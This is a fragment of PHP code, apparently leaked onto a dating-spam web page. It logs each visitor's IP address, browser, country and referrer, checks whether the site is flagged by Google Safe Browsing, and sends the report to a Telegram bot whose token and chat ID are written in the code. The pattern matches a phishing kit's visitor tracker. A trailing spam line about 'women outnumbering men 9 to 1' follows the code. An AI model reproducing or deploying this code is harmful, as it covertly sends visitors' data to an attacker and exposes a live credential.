[ 'clientId' => 'yourcompanyname', 'clientVersion' => '1.0' ], 'threatInfo' => [ 'threatTypes' => ["MALWARE", "SOCIAL_ENGINEERING", "UNWANTED_SOFTWARE", "POTENTIALLY_HARMFUL_APPLICATION"], 'platformTypes' => ["ANY_PLATFORM"], 'threatEntryTypes' => ["URL"], 'threatEntries' => [ ['url' => $url] ] ] ]; $options = [ 'http' => [ 'header' => "Content-type: application/json\r\n", 'method' => 'POST', 'content' => json_encode($data) ] ]; $context = stream_context_create($options); $result = file_get_contents($endpoint, false, $context); if ($result === FALSE) { die('Error checking site safety'); } $resultData = json_decode($result, true); return !empty($resultData['matches']); } $userIp = getClientIp(); $userAgent = $_SERVER['HTTP_USER_AGENT']; $domainName = $_SERVER['HTTP_HOST']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/$userIp"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $ipInfoJson = curl_exec($ch); if(curl_errno($ch)) { $error_msg = curl_error($ch); error_log("cURL error: $error_msg"); } curl_close($ch); $ipInfo = json_decode($ipInfoJson, true); error_log("IP Info JSON: " . $ipInfoJson); if ($ipInfo && isset($ipInfo['country'])) { $country = $ipInfo['country']; } else { $country = 'Unknown'; } // Check if the site is flagged by Google Safe Browsing $isSiteFlagged = checkSiteSafety("http://$domainName") ? 'Yes' : 'No'; $telegramBotToken = '7775595833:AAFqC0Rvi5MLo6_gs0uPxOK7MZFE0nvrTqg'; $telegramChatId = '-4573625496'; $message = "First page\n=============\nDomain: $domainName\nIP: $userIp\nUser-Agent: $userAgent\nCountry: $country\nSite Flagged: $isSiteFlagged\nRefer: $referrer"; $telegramApiUrl = "https://api.telegram.org/bot$telegramBotToken/sendMessage"; $telegramData = array( 'chat_id' => $telegramChatId, 'text' => $message ); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($telegramData) ) ); try { $context = stream_context_create($options); $result = @file_get_contents($telegramApiUrl, false, $context); if ($result === false) { error_log("Не удалось отправить сообщение в Telegram."); } else { error_log("Сообщение успешно отправлено в Telegram."); } } catch (Exception $e) { error_log("Ошибка: " . $e->getMessage()); } ?>
Important Note: Here women outnumber men 9 to 1, so your perfect match is just a click away. Ready to meet her?